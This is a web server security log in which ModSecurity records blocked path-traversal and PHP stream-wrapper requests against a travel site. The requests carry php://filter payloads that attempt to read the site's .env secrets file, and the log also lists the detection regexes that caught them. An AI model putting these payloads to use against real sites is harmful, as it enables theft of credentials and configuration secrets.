[Fri Jul 17 08:55:11.607355 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
[Fri Jul 17 08:55:11.607422 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&sid=s5t3JPPKLsSMkWNb4HXGq-pW1uiUxmS0kc1aYKUzKx5nQeytdTiMc0-4TAY_xjl42wtCQD5UZlm0S1S80aXesTKB7vXIVk2Kj0C_nya0JDIr9qqpaXxwsRwYINDS5wPqSKQHBaP4q4wEp1F7wsX7Z_UX3rlSFuE7vLx9jN6xO-ZkHsRRfFgUxqHdyHyc6mL06wAD0gCP-DvUN7yDV52DK0TKjlHp_ayJUR-KlBT_J7gt1_L5azZ4mM8kiLLmdkuP3nnCPtGtAVKVf-jmDYYwzOz0&debug=JNUIVMIULQA7CFPKW7DAC2KM7HIDYLCZ3A3PNEEQ3T46NVOJ6UNCGQYC7TC256DAZFBYLZUY..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
[Fri Jul 17 08:55:11.607452 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&sid=s5t3jppklssmkwnb4hxgq-pw1uiuxms0kc1aykuzkx5nqeytdtimc0-4tay_xjl42wtcqd5uzlm0s1s80axestkb7vxivk2kj0c_nya0jdir9qqpaxxwsrwyinds5wpqskqhbap4q4wep1f7wsx7z_ux3rlsfue7vlx9jn6xo-zkhsrrffguxqhdyhyc6ml06wad0gcp-dvun7ydv52dk0tkjlhp_ayjur-klbt_j7gt1_l5azz4mm8killmdkup3nncptgtavkvf-jmdyywzoz0&debug=jnuivmiulqa7cfpkw7dac2km7hidylcz3a3pneeq3t46nvoj6uncgqyc7tc256dazfbylzuy..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
[Fri Jul 17 08:55:11.607476 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
[Fri Jul 17 08:55:11.607496 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
[Fri Jul 17 08:55:11.607842 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
[Fri Jul 17 08:55:11.608842 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
[Fri Jul 17 08:55:11.608959 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.609238 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95zQAAAAw"]
[Fri Jul 17 08:55:11.619550 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=QW2_AuGboC4f7HLMSpak71ZdYpnlCbkBoYITUhlFud19mqOOD19CwCguEVbL0Cwm2z8o2LjY-eQovT0i9QwH8NfEu7lImYF8YqIFuPJW3SKy1tnHC8lhkpr27Pv7WuRBK8ou_6kvnIO1vqzjH1jl-Sd10uMj-rm98H8qMjewOYT8lFBVZzEaT_27VuVHNJwLRBXu5ZmM69npAa-votm9VffDsoqEJb9qNWNeBr2TFEogMBeMNfsZBsVy4QUWuCHirmhSTOPBBR2V5hPcei27x7eu&ref=OHMNYGXBFHMIQQQ7MUZBHRQATL7XQ3J5AINYJ33XEKXNXIX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.619591 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.619673 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&token=QW2_AuGboC4f7HLMSpak71ZdYpnlCbkBoYITUhlFud19mqOOD19CwCguEVbL0Cwm2z8o2LjY-eQovT0i9QwH8NfEu7lImYF8YqIFuPJW3SKy1tnHC8lhkpr27Pv7WuRBK8ou_6kvnIO1vqzjH1jl-Sd10uMj-rm98H8qMjewOYT8lFBVZzEaT_27VuVHNJwLRBXu5ZmM69npAa-votm9VffDsoqEJb9qNWNeBr2TFEogMBeMNfsZBsVy4QUWuCHirmhSTOPBBR2V5hPcei27x7eu&ref=OHMNYGXBFHMIQQQ7MUZBHRQATL7XQ3J5AINYJ33XEKXNXIXBGSDYB5S7B3USYVXPIX6PKEYKE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.619718 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&content=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&token=qw2_augboc4f7hlmspak71zdypnlcbkboyituhlfud19mqood19cwcguevbl0cwm2z8o2ljy-eqovt0i9qwh8nfeu7limyf8yqifupjw3sky1tnhc8lhkpr27pv7wurbk8ou_6kvnio1vqzjh1jl-sd10umj-rm98h8qmjewoyt8lfbvzzeat_27vuvhnjwlrbxu5zmm69npaa-votm9vffdsoqejb9qnwnebr2tfeogmbemnfszbsvy4quwuchirmhstopbbr2v5hpcei27x7eu&ref=ohmnygxbfhmiqqq7muzbhrqatl7xq3j5ainyj33xekxnxixbgsdyb5s7b3usyvxpix6pkeyke..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.619747 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.619779 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.620258 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.621326 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.621483 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.621601 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNwAAAAc"]
[Fri Jul 17 08:55:11.621789 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0gVnBK6wAv37w6sIwAAABQ"]
[Fri Jul 17 08:55:11.622662 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MNwAAAAc"]
[Fri Jul 17 08:55:11.622800 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.623079 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MNwAAAAc"]
[Fri Jul 17 08:55:11.625425 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbQAAAAU"]
[Fri Jul 17 08:55:11.626444 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AbQAAAAU"]
[Fri Jul 17 08:55:11.626589 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.626885 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AbQAAAAU"]
[Fri Jul 17 08:55:11.629675 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&content=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=kp5MUkgXey3Awr9W_1Ib89R7PqnybL9xqpcO02nXtgLauVEpSMlH8JWXAv3yyh-4v8O6mCkPAbbdG_nZ2rfJDCO9UIZQltOQPUNZm1bMqOe_nrBGE5lpm67ZQGyBsSU2mLLzBU_ybaCL0q8ufwpqcl1x0vrBMdPly5jzxsgTs3v5cqECCB1XprT69jw3Pu_SFYZq8UT96ShFEH2pQNXPJBgla7f2CC0sPgta3IPuT40aiwRQA43dMH-_TmmDQjZalZtL1dl8itlAjsr9s7qth_gD&cb=VBCRGMWIX6YN2EAYBEM6TWXAFR5FWFPJSKOOH4X3JPGXJCGSBDARQ3CTKGPK37G5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.629733 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:content. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:content: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBSQAAAAY"]
[Fri Jul 17 08:55:11.629779 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: 